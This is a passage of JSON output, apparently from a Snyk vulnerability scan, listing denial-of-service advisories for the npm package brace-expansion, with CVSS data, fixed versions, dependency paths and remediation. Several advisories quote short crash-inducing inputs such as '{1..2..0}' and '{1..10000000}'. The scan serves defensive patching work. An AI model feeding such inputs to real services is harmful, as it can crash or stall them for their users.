"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": 